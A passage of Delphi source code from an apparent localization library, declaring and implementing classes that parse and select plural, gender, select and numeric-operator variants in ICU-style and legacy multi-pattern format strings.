function GetGenderValue(value: TGender): String;
function GetSelectValue(const value: String): String;
function ParseIcuPattern(const pattern: String; var index: Integer): Boolean;
public
constructor Create;
destructor Destroy; override;
function GetEnumerator: TFormatStringEnumerator;
procedure Clear;
function Find(pattern: TPattern): TPattern; overload;
function FindAny(pattern: TPattern): TPattern;
function Find(gender: TGender; all: Boolean = True): TGenderPattern; overload;
function Exists(gender: TGender): Boolean; overload;
function AddValue(gender: TGender; const value: String): TGenderPattern; overload;
function Find(plural: TPlural; all: Boolean = True): TPluralPattern; overload;
function Exists(plural: TPlural): Boolean; overload;
function AddValue(plural: TPlural; const value: String): TPluralPattern; overload;
function Find(kind: TOperatorKind; operand, operand2: Integer; all: Boolean = True): TOperatorPattern; overload;
function Exists(kind: TOperatorKind; operand, operand2: Integer): Boolean; overload;
function FindMatching(operand: Integer; all: Boolean = True): TPluralPattern;
function ExistsMatching(operand: Integer): Boolean;
function AddParameter(const name: String = ''): TFormatPart;
{ Parse pattern into parts.
@param pattern Original multi pattern string.
@param values String list to hold parsed patterns. }
procedure ParsePattern(const pattern: String);
function ParseLegacy(pattern: String): Boolean;
function ParseIcu(pattern: String): Boolean;
class function IsPattern(const pattern: String): Boolean; {$IFDEF DELPHI2009}deprecated 'Use IsMultiPattern instead';{$ENDIF}
class function IsMultiPattern(const pattern: String): Boolean;
property Count: Integer read GetCount;
property Items[i: Integer]: TFormatPart read GetItem; default;
property StartPattern: String read FStartPattern write FStartPattern;
property Text: String read GetText;
property OperatorValues[kind: TOperatorKind; operand, operand2: Integer]: String read GetOperatorValue;
property EqualOperatorValues[value: Integer]: String read GetEqualOperatorValue;
property PluralValues[value: TPlural]: String read GetPluralValue;
property MatchingValues[value: Integer]: String read GetMatchingValue;
property GenderValues[value: TGender]: String read GetGenderValue;
property SelectValues[const value: String]: String read GetSelectValue;
property PlaceholderKind: TPlaceholderKind read FPlaceholderKind write FPlaceholderKind;
property Escape: TIcuMessageEscape read FEscape write FEscape;
property Syntax: TFormatStringSyntax read FSyntax write FSyntax;
end;
{ @abstract Class that contains information about plural rules of a single language. }
TPluralInfo = class
private
FId: String;
FProc: TPluralProc;
FIntegerCount: Integer;
FIntegerPlurals: TPlurals;
FDefaultInteger: TPlural;
FDecimalCount: Integer;
FDecimalPlurals: TPlurals;
FDefaultDecimal: TPlural;
FExpression: String;
function GetInteger(i: Integer): TPlural;
function GetDecimal(i: Integer): TPlural;
procedure SetIntegerPlurals(value: TPlurals);
procedure SetDecimalPlurals(value: TPlurals);
public
constructor Create;
{ Get a plural info of a language. If direct match is not found try to find a matching and if not found return the default.
@param id Language or locale to be used. If empty the active locale id is used.
@return Plural info. }
class function Get(id: String = ''): TPluralInfo;
{ Get a plural info of a language. If a direct match is not found return null.
@param id Language or locale to be used.
@return Plural info. }
class function Find(const id: String): TPluralInfo;
property Id: String read FId write FId;
property Proc: TPluralProc read FProc write FProc;
property IntegerCount: Integer read FIntegerCount;
property IntegerPlurals: TPlurals read FIntegerPlurals write SetIntegerPlurals;
property Integers[i: Integer]: TPlural read GetInteger;
property DefaultInteger: TPlural read FDefaultInteger;
property DecimalCount: Integer read FDecimalCount;
property DecimalPlurals: TPlurals read FDecimalPlurals write SetDecimalPlurals;
property Decimals[i: Integer]: TPlural read GetDecimal;
property DefaultDecimal: TPlural read FDefaultDecimal;
property Expression: String read FExpression write FExpression;
end;
{ @abstract Static class that contains multi pattern (e.g. plural, gender and select) routines.
@seealso(NtPattern) }
TMultiPattern = class
public
{ Get the plural index procedure.
@return The pointer to the plural procedure. }
class function GetProc: TPluralProc; overload;
class function GetProc(const id: String): TPluralProc; overload;
{ Check if the locale uses single plural form.
@param locale Language or locale to be used.
@return True if the locale uses a single plural form. }
class function IsSingleFormLanguage(const locale: String = ''): Boolean;
{ Check if the locale uses the same plural form for 0 and 1.
@param locale Language or locale to be used.
@return True if the locale uses the same plural form for 0 and 1. }
class function IsZeroLikeOne(const locale: String = ''): Boolean;
{ Get the plural kind the language uses.
@param count Specifies the count. This is used to calculate the right pattern index.
@return The standard form that should be used. }
class function GetPlural(count: Integer): TPlural;
{ Get the plural kind the language uses.
@param count Specifies the count. This is used to calculate the right pattern index.
@param format Pattern string that contains patterns for all plural forms used by the language.
@param plural Pattern string that contains patterns for all plural forms used by the language.
@param customPlural Pattern string that contains patterns for all plural forms used by the language. }
class procedure GetMatchingPlural(
count: Integer;
const format: String;
var plural, customPlural: TPlural);
{ Get the plural form label
@param form The plural form.
@return The plural form label. }
class function GetPluralName(plural: TPlural): String;
{ Get the gender label
@param form The gender.
@return The gender label. }
class function GetGenderName(gender: TGender): String;
{ Parses the right pattern from the multi-pattern resource string.
@return The pattern that is used with passed count on active language. }
class function GetPattern(
const patterns: String;
count: Integer): String; overload;
class function GetPattern(
const patterns: String;
count: Integer;
var startPattern: String): String; overload;
class function GetPlurals(usage: TPluralUsage): TPlurals;
{ Parses the right pattern from the multi-pattern resource string.
@return The pattern that is used with passed gender. }
class function GetPattern(
const patterns: String;
gender: TGender): String; overload;
class function GetPattern(
const patterns: String;
gender: TGender;
var startPattern: String): String; overload;
{ Parses the right pattern from the multi-pattern resource string.
@return The pattern that is used with passed select value. }
class function GetPattern(
const patterns: String;
const select: String): String; overload;
class function GetPattern(
const patterns: String;
const select: String;
var startPattern: String): String; overload;
{ Gets the gender that is used.
@return The actual gender that was used. }
class function GetGender(
const patterns: String;
gender: TGender): TGender;
{ This is like normal Format but it parses the right part from the multi-pattern.
@param pattern Multi-pattern string that contains patterns for all plural forms used by the language.
@param count Specifies the count. This is used to calculate the right pattern index.
@return The formatted string. }
class function Format(
const pattern: String;
count: Integer): String; overload;
{ This is like normal Format but it parses the right part from the multi-pattern.
@param pattern Multi-pattern string that contains patterns for all plural forms used by the language.
@param count Specifies the count. This is used to select the right pattern.
@param args Arguments like in the standard Format function.
@return The formatted string. }
class function Format(
const pattern: String;
count: Integer;
const args: array of const): String; overload;
{ This is like normal Format but it parses the right part from the multi-pattern.
@param pattern Multi-pattern string that contains patterns for all gender forms used by the language.
@param gender Specifies the gender. This is used to select the right pattern.
@param args Arguments like in the standard Format function.
@return The formatted string. }
class function Format(
const pattern: String;
gender: TGender;
const args: array of const): String; overload;
{ This is like normal Format but it parses the right part from the multi-pattern.
@param pattern Multi-pattern string that contains patterns for select value.
@param select Specifies the select value. This is used to select the right pattern.
@param args Arguments like in the standard Format function.
@return The formatted string. }
class function Format(
const pattern: String;
const select: String;
const args: array of const): String; overload;
{ This is like Format but it can have any number of plural enabled parameters.
@param pattern Multi-pattern string that contains patterns for all plural forms used by the language.
@param counts Specifies the counts. This contains the count paramaters.
@return The formatted string. }
class function Format(
const pattern: String;
const counts: array of const): String; overload;
class procedure GetNumber(
const pattern: String;
count: Integer;
var kind: TFormatParameterKind;
var plural: TPlural;
var operatorKind: TOperatorKind;
var operand, operand2: Integer);
{ This is like Format but it can have any number of plural and/or gender enabled parameters.
@param pattern Multi-pattern string that contains patterns for all plural forms used by the language.
@param args Specifies the parameters.
@return The formatted string. }
class function FormatMulti(
const pattern: String;
const args: array of TFormatParameter): String; overload;
{ Get the plural from from string code.
@param value Plural form code.
@return The plural form matching the code. }
class function StringToPlural(const value: String): TPlural;
{ Get the operator value from string code.
@param value Operator value code.
@return The operator value matching the code. }
class function StringToOperator(
const value: String;
out kind: TOperatorKind;
out operand2: Integer): Integer; overload;
class function StringToOperator(
const value: String;
out kind: TOperatorKind): Integer; overload;
{ Get the gender from string code.
@param value Gender code.
@return The gender matching the code. }
class function StringToGender(const value: String): TGender;
{ Get the plural form from string code.
@param value Plural form code.
@param form Plural form.
@return True of the passed code was a valid. }
class function TryStringToPlural(const value: String; out plural: TPlural): Boolean;
{ Get the operator value from string code.
@param value Operator value code.
@param kind Operator kind.
@param operand Operand.
@return True of the passed code was a valid. }
class function TryStringToOperator(
value: String;
out kind: TOperatorKind;
out operand, operand2: Integer): Boolean;
{ Get the gender from string code.
@param value Gender code.
@param form Gender.
@return True of the passed code was a valid. }
class function TryStringToGender(const value: String; out gender: TGender): Boolean;
{ Get the plural code from plural form.
@param value Plural form.
@return The plural code matching the plural form. }
class function PluralToString(value: TPlural): String;
class function OperatorToString(kind: TOperatorKind; operand, operand2: Integer): String;
{ Get the gender code from plural form.
@param value Gender.
@return The gender code matching the gender. }
class function GenderToString(value: TGender): String;
class function SelectToString(const value: String): String;
{ Check if the plural or operator code is a valid code.
@param value Plural form or operator code.
@return True if the passed code was a valid code. }
class function IsNumber(const value: String): Boolean;
{ Check if the passed code is a valid plural code.
@param value Plural form code.
@return True if the passed code was a valid code. }
class function IsPlural(const value: String): Boolean;
{ Check if the passwed code is a valid oparator code.
@param value Value code to check.
@return True if the passed code was a valid code. }
class function IsOperator(const value: String): Boolean;
{ Check if the passed code is a valid gender code.
@param value Gender form code.
@return True if the passed code was a valid code. }
class function IsGender(const value: String): Boolean;
class function IsOther(const value: String): Boolean;
class function IsNeutral(const value: String): Boolean;
{ Check if a language id belongs into a language id array
@param language Language id to be checked.
@param languages Language id array.
@return True if the id is in the array. }
class function IsLanguageInArray(const language: String; languages: array of String): Boolean;
{ Register a plural function
@param id Language id.
@param proc Plural function that is used when the language is active. }
class procedure Register(const id: String; proc: TPluralProc); overload;
{ Register a required integer and decimal plural forms and plural rule for PO/GetText.
@param id Language id.
@param integerPlurals Required plural forms when count is an integer number.
@param decimalPlurals Required plural forms when count is an decimal or float number.
@param expression Rule used in .po files. }
class procedure Register(const id: String; integerPlurals, decimalPlurals: TPlurals; const expression: String); overload;
end;
var
OperatorDelta: Integer;
RaiseExceptionOnInvalidPattern: Boolean;
implementation
uses
SysUtils, NtBase, NtPluralData;
const
NEUTRAL_C = 'neutral';
NEXT_C = 'next';
PLURAL_DATAS_C: array[TPlural] of string =
(
'zero',
'one',
'two',
'few',
'many',
OTHER_C
);
GENDER_DATAS_C: array[TGender] of string =
(
'male',
'female',
OTHER_C
);
OPERATORS_C: array[TOperatorKind] of String =
(
'=',
'~',
'<',
'<=',
'>',
'>=',
'..'
);
var
FDatas: TStringList;
// TPluralPattern
constructor TPluralPattern.Create;
begin
inherited;
FPlural := pfOther;
end;
function TPluralPattern.Equals(obj: TObject): Boolean;
begin
Result :=
(obj is TPluralPattern) and
(TPluralPattern(obj).FPlural = FPlural)
end;
function TPluralPattern.ToString: String;
begin
Result := TMultiPattern.PluralToString(FPlural);
end;
// TOperatorPattern
constructor TOperatorPattern.Create;
begin
inherited;
FOperand := 0;
end;
function TOperatorPattern.Equals(obj: TObject): Boolean;
begin
Result :=
(obj is TOperatorPattern) and
(TOperatorPattern(obj).FOperand = FOperand) and
(TOperatorPattern(obj).FKind = FKind)
end;
function TOperatorPattern.ToString: String;
begin
Result := TMultiPattern.OperatorToString(FKind, FOperand, FOperand2);
end;
// TGenderPattern
constructor TGenderPattern.Create;
begin
inherited;
FGender := geNeutral;
end;
function TGenderPattern.Equals(obj: TObject): Boolean;
begin
Result :=
(obj is TGenderPattern) and
(TGenderPattern(obj).FGender = FGender)
end;
function TGenderPattern.ToString: String;
begin
Result := TMultiPattern.GenderToString(FGender);
end;
// TSelectPattern
constructor TSelectPattern.Create;
begin
inherited;
FSelect := '';
end;
function TSelectPattern.Equals(obj: TObject): Boolean;
begin
Result :=
(obj is TSelectPattern) and
(TSelectPattern(obj).FSelect = FSelect)
end;
function TSelectPattern.ToString: String;
begin
Result := TMultiPattern.SelectToString(FSelect);
end;
// TFormatPartEnumerator
constructor TFormatPartEnumerator.Create(formatPart: TFormatPart);
begin
inherited Create;
FFormatPart := formatPart;
FIndex := -1;
end;
function TFormatPartEnumerator.GetCurrent: TPattern;
begin
Result := FFormatPart[FIndex];
end;
function TFormatPartEnumerator.MoveNext: Boolean;
begin
Result := (FFormatPart <> nil) and (FIndex < (FFormatPart.Count - 1));
if Result then
Inc(FIndex);
end;
// TFormatPart
constructor TFormatPart.Create;
begin
inherited;
{$IFDEF AUTOREFCOUNT}
FItems := TList<TPattern>.Create;
{$ELSE}
FItems := TList.Create;
{$ENDIF}
end;
destructor TFormatPart.Destroy;
begin
Clear;
FItems.Free;
inherited;
end;
function TFormatPart.GetEnumerator: TFormatPartEnumerator;
begin
Result := TFormatPartEnumerator.Create(Self);
end;
procedure TFormatPart.Clear;
begin
{$IFDEF AUTOREFCOUNT}
FItems.Clear;
{$ELSE}
while FItems.Count > 0 do
begin
TObject(FItems[0]).Free;
FItems.Delete(0);
end;
{$ENDIF}
end;
function TFormatPart.GetCount: Integer;
begin
Result := FItems.Count;
end;
function TFormatPart.GetItem(i: Integer): TPattern;
begin
Result := FItems[i];
end;
function TFormatPart.GetFirstValue: String;
begin
if Count > 0 then
Result := Items[0].Value
else
Result := '';
end;
function TFormatPart.GetOtherValue: String;
var
pattern: TPattern;
begin
pattern := FindOther;
if pattern <> nil then
Result := pattern.Value
else
Result := '';
end;
function TFormatPart.GetDefaultValue: String;
begin
if IsNumber then
Result := PluralValues[pfOther]
else
begin
Result := GenderValues[geNeutral];
if Result = '' then
Result := SelectValues[OTHER_C];
if Result = '' then
Result := SelectValues[NEUTRAL_C];
if Result = '' then
Result := FirstValue;
end;
end;
function TFormatPart.GetDefaultGender: TGender;
begin
// Neutral must be checked first
if Exists(geNeutral) then
Result := geNeutral
else if Exists(geMale) then
Result := geMale
else if Exists(geFemale) then
Result := geFemale
else
Result := geNeutral
end;
function TFormatPart.GetDefaultSelect: String;
var
i: Integer;
pattern: TPattern;
begin
// other and neutral must be checked first
if Exists(OTHER_C) then
Result := OTHER_C
else if Exists(NEUTRAL_C) then
Result := NEUTRAL_C
else
begin
for i := 0 to Count - 1 do
begin
pattern := Items[i];
if pattern is TSelectPattern then
begin
Result := TSelectPattern(pattern).Select;
Exit;
end;
end;
Result := '';
end;
end;
function TFormatPart.GetGenderValue(gender: TGender): String;
var
item: TGenderPattern;
begin
item := Find(gender);
if item <> nil then
begin
Result := item.Value;
FUsedKind := fpGender;
FUsedGender := item.Gender;
end
else
Result := '';
end;
procedure TFormatPart.SetGenderValue(gender: TGender; const value: String);
var
item: TGenderPattern;
begin
item := Find(gender);
if item <> nil then
item.Value := value
else
Add(value, gender);
end;
function TFormatPart.GetSelectValue(const select: String): String;
var
item: TSelectPattern;
begin
item := Find(select);
if item <> nil then
begin
Result := item.Value;
FUsedKind := fpSelect;
FUsedSelect := select;
end
else
Result := '';
end;
procedure TFormatPart.SetSelectValue(const select: String; const value: String);
var
item: TSelectPattern;
begin
item := Find(select);
if item <> nil then
item.Value := value
else
Add(value, select);
end;
function TFormatPart.Find(pattern: TPattern): TPattern;
var
i: Integer;
begin
for i := 0 to Count - 1 do
begin
Result := Items[i];
if pattern.Equals(Result) then
Exit;
end;
Result := nil;
end;
function TFormatPart.FindOther: TPattern;
var
i: Integer;
begin
for i := 0 to Count - 1 do
begin
Result := Items[i];
if (Result is TPluralPattern) and (TPluralPattern(Result).Plural = pfOther) or
(Result is TGenderPattern) and (TGenderPattern(Result).Gender = geNeutral) then
begin
Exit;
end;
end;
Result := nil;
end;
function TFormatPart.FindAny(pattern: TPattern): TPattern;
var
i: Integer;
begin
if pattern is TNumberPattern then
Result := Find(pfOther)
else if pattern is TGenderPattern then
Result := Find(geNeutral)
else
Result := nil;
if Result <> nil then
Exit;
for i := 0 to Count - 1 do
begin
Result := Items[i];
if Result.ClassName = pattern.ClassName then
Exit;
end;
if Count > 0 then
Result := Items[0]
else
Result := nil;
end;
function TFormatPart.Find(gender: TGender): TGenderPattern;
var
i: Integer;
pattern: TPattern;
begin
for i := 0 to Count - 1 do
begin
pattern := Items[i];
if pattern is TGenderPattern then
begin
Result := TGenderPattern(pattern);
if Result.Gender = gender then
Exit;
end;
end;
Result := nil;
end;
function TFormatPart.FindGender: TGenderPattern;
var
i: Integer;
pattern: TPattern;
begin
for i := 0 to Count - 1 do
begin
pattern := Items[i];
if pattern is TGenderPattern then
begin
Result := TGenderPattern(pattern);
Exit;
end;
end;
Result := nil;
end;
function TFormatPart.Find(const select: String): TSelectPattern;
var
i: Integer;
pattern: TPattern;
begin
for i := 0 to Count - 1 do
begin
pattern := Items[i];
if pattern is TSelectPattern then
begin
Result := TSelectPattern(pattern);
if Result.Select = select then
Exit;
end;
end;
Result := nil;
end;
function TFormatPart.Find(plural: TPlural): TPluralPattern;
var
i: Integer;
pattern: TPattern;
begin
for i := 0 to Count - 1 do
begin
pattern := Items[i];
if pattern is TPluralPattern then
begin
Result := TPluralPattern(pattern);
if Result.Plural = plural then
Exit;
end;
end;
Result := nil;
end;
function TFormatPart.FindMatching(value: Integer): TPluralPattern;
var
i: Integer;
pattern: TPattern;
begin
for i := 0 to Count - 1 do
begin
pattern := Items[i];
if pattern is TPluralPattern then
begin
Result := TPluralPattern(pattern);
if (value = 0) and (Result.Plural = pfZero) or
(value = 1) and (Result.Plural = pfOne) or
(value = 2) and (Result.Plural = pfTwo) then
begin
Exit;
end;
end;
end;
Result := nil;
end;
function TFormatPart.FindOperator(value: Integer): TOperatorPattern;
var
i: Integer;
pattern: TPattern;
thisPattern: TOperatorPattern;
begin //FI:C101
// Equal: Find first match
for i := 0 to Count - 1 do
begin
pattern := Items[i];
if pattern is TOperatorPattern then
begin
Result := TOperatorPattern(pattern);
if (Result.Kind = okEqual) and (value = Result.Operand) then
Exit;
end;
end;
// Around: Find first match
for i := 0 to Count - 1 do
begin
pattern := Items[i];
if pattern is TOperatorPattern then
begin
Result := TOperatorPattern(pattern);
if (Result.Kind = okAround) and (value >= Result.Operand - OperatorDelta) and (value <= Result.Operand + OperatorDelta) then
Exit;
end;
end;
// Range: Find first match
for i := 0 to Count - 1 do
begin
pattern := Items[i];
if pattern is TOperatorPattern then
begin
Result := TOperatorPattern(pattern);
if (Result.Kind = okRange) and (value >= Result.Operand) and (value <= Result.Operand2) then
Exit;
end;
end;
// <, <=, > or >=: Find match that is closes to the value
Result := nil;
for i := 0 to Count - 1 do
begin
pattern := Items[i];
if pattern is TOperatorPattern then
begin
thisPattern := TOperatorPattern(pattern);
if (
(thisPattern.Kind = okLessOrEqual) and (value <= thisPattern.Operand) or
(thisPattern.Kind = okLess) and (value < thisPattern.Operand) or
(thisPattern.Kind = okGreaterOrEqual) and (value >= thisPattern.Operand) or
(thisPattern.Kind = okGreater) and (value > thisPattern.Operand)
) and ((Result = nil) or (Abs(value - thisPattern.Operand) < Abs(value - Result.Operand))) then
begin
Result := thisPattern;
end
end;
end;
end;
function TFormatPart.Find(kind: TOperatorKind; operand, operand2: Integer): TOperatorPattern;
var
i: Integer;
pattern: TPattern;
begin
for i := 0 to Count - 1 do
begin
pattern := Items[i];
if pattern is TOperatorPattern then
begin
Result := TOperatorPattern(pattern);
if (Result.Kind = kind) and (Result.Operand = operand) and ((kind <> okRange) or (Result.Operand2 = operand2)) then
Exit;
end;
end;
Result := nil;
end;
function TFormatPart.Exists(plural: TPlural): Boolean;
begin
Result := Find(plural) <> nil;
end;
function TFormatPart.Exists(kind: TOperatorKind; operand, operand2: Integer): Boolean;
begin
Result := Find(kind, operand, operand2) <> nil;
end;
function TFormatPart.Exists(gender: TGender): Boolean;
begin
Result := Find(gender) <> nil;
end;
function TFormatPart.Exists(const select: String): Boolean;
begin
Result := Find(select) <> nil;
end;
function TFormatPart.ExistsMatching(value: Integer; var plural: TPlural): Boolean;
var
pattern: TPluralPattern;
begin
pattern := FindMatching(value);
if pattern <> nil then
plural := pattern.Plural
else
plural := pfOther;
Result := pattern <> nil;
end;
function TFormatPart.GetPluralValue(plural: TPlural): String;
var
item: TPluralPattern;
begin
item := Find(plural);
if item <> nil then
begin
Result := item.Value;
FUsedKind := fpPlural;
end
else
Result := '';
end;
procedure TFormatPart.SetPluralValue(plural: TPlural; const value: String);
var
item: TPluralPattern;
begin
item := Find(plural);
if item <> nil then
item.Value := value
else
Add(value, plural);
end;
function TFormatPart.GetMatchingValue(value: Integer): String;
var
item: TPluralPattern;
begin
item := FindMatching(value);
if item <> nil then
begin
Result := item.Value;
FUsedKind := fpPlural;
end
else
Result := '';
end;
function TFormatPart.GetOperatorValue(kind: TOperatorKind; operand, operand2: Integer): String;
var
item: TOperatorPattern;
begin
item := Find(kind, operand, operand2);
if item <> nil then
Result := item.Value
else
Result := '';
end;
procedure TFormatPart.SetOperatorValue(kind: TOperatorKind; operand, operand2: Integer; const value: String);
var
item: TOperatorPattern;
begin
item := Find(kind, operand, operand2);
if item <> nil then
begin
item.Value := value;
FUsedKind := fpOperator;
FUsedOperator := kind;
FUsedOperand := operand;
FUsedOperand2 := operand2;
end
else
Add(value, okEqual, operand, operand2);
end;
function TFormatPart.GetEqualOperatorValue(operand: Integer): String;
begin
Result := GetOperatorValue(okEqual, operand, 0);
end;
procedure TFormatPart.SetEqualOperatorValue(operand: Integer; const value: String);
begin
SetOperatorValue(okEqual, operand, 0, value);
end;
function TFormatPart.GetKind: TFormatParameterKind;
begin
if IsGender then
Result := fpGender
else if IsSelect then
Result := fpSelect
else
Result := fpPlural
end;
function TFormatPart.IsNumber: Boolean;
var
i: Integer;
begin
for i := 0 to Count - 1 do
if Items[i] is TNumberPattern then
begin
Result := True;
Exit;
end;
Result := False;
end;
function TFormatPart.IsGender: Boolean;
var
i: Integer;
begin
for i := 0 to Count - 1 do
if Items[i] is TGenderPattern then
begin
Result := True;
Exit;
end;
Result := False;
end;
function TFormatPart.IsSelect: Boolean;
var
i: Integer;
item: TPattern;
begin
for i := 0 to Count - 1 do
begin
item := Items[i];
if item is TSelectPattern then
begin
Result := True;
Exit;
end;
end;
Result := False;
end;
procedure TFormatPart.Delete(index: Integer);
begin
{$IFNDEF AUTOREFCOUNT}
Items[index].Free;
{$ENDIF}
FItems.Delete(index);
end;
function TFormatPart.Add(const value: String; gender: TGender): TGenderPattern;
begin
Result := TGenderPattern.Create;
Result.Value := value;
Result.Gender := gender;
FItems.Add(Result);
end;
function TFormatPart.Add(const value: String; const select: String): TSelectPattern;
begin
Result := TSelectPattern.Create;
Result.Value := value;
Result.Select := select;
FItems.Add(Result);
end;
function TFormatPart.Insert(index: Integer; const value: String; const select: String): TSelectPattern;
begin
Result := TSelectPattern.Create;
Result.Value := value;
Result.Select := select;
FItems.Insert(index, Result);
end;
function TFormatPart.Add(const value: String; plural: TPlural): TPluralPattern;
begin
Result := TPluralPattern.Create;
Result.Value := value;
Result.Plural := plural;
FItems.Add(Result);
end;
function TFormatPart.Add(const value: String; kind: TOperatorKind; operand: Integer; operand2: Integer): TOperatorPattern;
begin
Result := TOperatorPattern.Create;
Result.Value := value;
Result.Kind := kind;
Result.Operand := operand;
Result.Operand2 := operand2;
FItems.Add(Result);
end;
function TFormatPart.GetPluralPattern(plural: TPlural; count: Cardinal): String;
var
matchingPlural: TPlural;
operatorPattern: TOperatorPattern;
begin //FI:C101
Result := '';
if not IsNumber then
begin
if RaiseExceptionOnInvalidPattern then
raise Exception.Create('"Pattern is not a number pattern')
else
Exit;
end;
operatorPattern := FindOperator(count);
if operatorPattern <> nil then
begin
Result := operatorPattern.Value;
if Result <> '' then
begin
FUsedKind := fpOperator;
FUsedOperator := operatorPattern.Kind;
FUsedOperand := operatorPattern.Operand;
FUsedOperand2 := operatorPattern.Operand2;
Exit;
end;
end;
FUsedKind := fpPlural;
if (Result = '') and (ExistsMatching(count, matchingPlural)) then
begin
Result := PluralValues[matchingPlural];
if Result <> '' then
begin
FUsedPlural := matchingPlural;
Exit;
end;
end;
Result := PluralValues[plural];
if Result <> '' then
begin
FUsedPlural := plural;
Exit;
end;
if Result = '' then
begin
FUsedPlural := pfOther;
Result := FirstValue;
end;
end;
function TFormatPart.GetGenderPattern(gender: TGender): String;
begin
if not IsGender then
raise Exception.Create('"Pattern is not a gender pattern');
Result := GenderValues[gender];
if Result = '' then
Result := FirstValue;
end;
// TFormatStringEnumerator
constructor TFormatStringEnumerator.Create(formatString: TFormatString);
begin
inherited Create;
FFormatString := formatString;
FIndex := -1;
end;
function TFormatStringEnumerator.GetCurrent: TFormatPart;
begin
Result := FFormatString[FIndex];
end;
function TFormatStringEnumerator.MoveNext: Boolean;
begin
Result := (FFormatString <> nil) and (FIndex < (FFormatString.Count - 1));
if Result then
Inc(FIndex);
end;
// TFormatString
constructor TFormatString.Create;
begin
inherited;
{$IFDEF AUTOREFCOUNT}
FItems := TList<TFormatPart>.Create;
{$ELSE}
FItems := TList.Create;
{$ENDIF}
end;
destructor TFormatString.Destroy;
begin
Clear;
FItems.Free;
inherited;
end;
function TFormatString.GetEnumerator: TFormatStringEnumerator;
begin
Result := TFormatStringEnumerator.Create(Self);
end;
procedure TFormatString.Clear;
begin
FStartPattern := '';
{$IFDEF AUTOREFCOUNT}
FItems.Clear;
{$ELSE}
while FItems.Count > 0 do
begin
TObject(FItems[0]).Free;
FItems.Delete(0);
end;
{$ENDIF}
end;
function TFormatString.GetCount: Integer;
begin
Result := FItems.Count;
end;
function TFormatString.GetItem(i: Integer): TFormatPart;
begin
Result := FItems[i];
end;
function TFormatString.GetOperatorValue(kind: TOperatorKind; operand, operand2: Integer): String;
begin
Result := Items[0].OperatorValues[kind, operand, operand2];
end;
function TFormatString.GetEqualOperatorValue(operand: Integer): String;
begin
Result := Items[0].EqualOperatorValues[operand];
end;
function TFormatString.GetPluralValue(value: TPlural): String;
begin
Result := Items[0].PluralValues[value];
end;
function TFormatString.GetMatchingValue(value: Integer): String;
begin
Result := Items[0].MatchingValues[value];
end;
function TFormatString.GetGenderValue(value: TGender): String;
begin
Result := Items[0].GenderValues[value];
end;
function TFormatString.GetSelectValue(const value: String): String;
begin
Result := Items[0].SelectValues[value];
end;
function TFormatString.Find(pattern: TPattern): TPattern;
var
i: Integer;
begin
for i := 0 to Count - 1 do
begin
Result := Items[i].Find(pattern);
if Result <> nil then
Exit;
end;
Result := nil;
end;
function TFormatString.FindAny(pattern: TPattern): TPattern;
var
i: Integer;
begin
for i := 0 to Count - 1 do
begin
Result := Items[i].FindAny(pattern);
if Result <> nil then
Exit;
end;
Result := nil;
end;
function TFormatString.Find(plural: TPlural; all: Boolean): TPluralPattern;
var
i: Integer;
begin
if all then
begin
for i := 0 to Count - 1 do
begin
Result := Items[i].Find(plural);
if Result <> nil then
Exit;
end;
Result := nil;
end
else
Result := Items[0].Find(plural);
end;
function TFormatString.Exists(plural: TPlural): Boolean;
begin
Result := Find(plural) <> nil;
end;
function TFormatString.Find(kind: TOperatorKind; operand, operand2: Integer; all: Boolean): TOperatorPattern;
var
i: Integer;
begin
if all then
begin
for i := 0 to Count - 1 do
begin
Result := Items[i].Find(kind, operand, operand2);
if Result <> nil then
Exit;
end;
Result := nil;
end
else
Result := Items[0].Find(kind, operand, operand2);
end;
function TFormatString.Exists(kind: TOperatorKind; operand, operand2: Integer): Boolean;
begin
Result := Find(kind, operand, operand2) <> nil;
end;
function TFormatString.FindMatching(operand: Integer; all: Boolean): TPluralPattern;
var
i: Integer;
begin
if all then
begin
for i := 0 to Count - 1 do
begin
Result := Items[i].FindMatching(operand);
if Result <> nil then
Exit;
end;
Result := nil;
end
else
Result := Items[0].FindMatching(operand);
end;
function TFormatString.ExistsMatching(operand: Integer): Boolean;
begin
Result := FindMatching(operand) <> nil;
end;
function TFormatString.AddValue(plural: TPlural; const value: String): TPluralPattern;
var
parameter: TFormatPart;
begin
if FItems.Count > 0 then
parameter := Items[0]
else
parameter := AddParameter;
Result := parameter.Add(value, plural);
end;
function TFormatString.Find(gender: TGender; all: Boolean): TGenderPattern;
var
i: Integer;
begin
if all then
begin
for i := 0 to Count - 1 do
begin
Result := Items[i].Find(gender);
if Result <> nil then
Exit;
end;
Result := nil;
end
else
Result := Items[0].Find(gender);
end;
function TFormatString.Exists(gender: TGender): Boolean;
begin
Result := Find(gender) <> nil;
end;
function TFormatString.AddValue(gender: TGender; const value: String): TGenderPattern;
var
parameter: TFormatPart;
begin
if FItems.Count > 0 then
parameter := Items[0]
else
parameter := AddParameter;
Result := parameter.Add(value, gender);
end;
function TFormatString.AddParameter(const name: String): TFormatPart;
begin
Result := TFormatPart.Create;
Result.Name := name;
FItems.Add(Result);
end;
function TFormatString.GetText: String;
function DoubleBraceToPrintf(const value: String): String;
var
i: Integer;
bracePlaceholder, printfPlaceholder: String;
begin
Result := StartPattern;
for i := 0 to Count - 1 do
begin
bracePlaceholder := Format('{{%d}}', [i]);
printfPlaceholder := Format('%%%d:s', [i]);
Result := stringreplace(Result, bracePlaceholder, printfPlaceholder, []);
end;
end;
function SingleBraceToPrintf(const value: String): String;
var
i: Integer;
bracePlaceholder, printfPlaceholder: String;
begin
Result := StartPattern;
for i := 0 to Count - 1 do
begin
bracePlaceholder := Format('{%d}', [i]);
printfPlaceholder := Format('%%%d:s', [i]);
Result := stringreplace(Result, bracePlaceholder, printfPlaceholder, []);
end;
end;
function Icu: String; //FI:C103
var
i, j, p: Integer;
str, thisStartPattern, kindStr: String;
parameter: TFormatPart;
pattern: TPattern;
patterns: array of String;
parameters: array of TVarRec;
placeholder: String;
begin
case PlaceholderKind of
pkDoubleBrace: thisStartPattern := DoubleBraceToPrintf(Self.StartPattern);
pkSingleBrace: thisStartPattern := SingleBraceToPrintf(Self.StartPattern);
else
thisStartPattern := Self.StartPattern;
end;
Result := '';
SetLength(patterns, Count);
SetLength(parameters, Count);
for i := 0 to Count - 1 do
begin
parameter := Items[i];
str := '{';
if parameter.Name <> '' then
str := str + Format('%s, ', [parameter.Name]);
case parameter.Kind of
fpGender: kindStr := 'gender';
fpSelect: kindStr := 'select';
else
kindStr := 'plural';
end;
str := str + Format('%s,', [kindStr]); //[parameter.ParameterType]);
for j := 0 to parameter.Count - 1 do
begin
pattern := parameter[j];
str := str + Format(' %s {%s}', [pattern.ToString, pattern.Value]);
end;
str := str + '}';
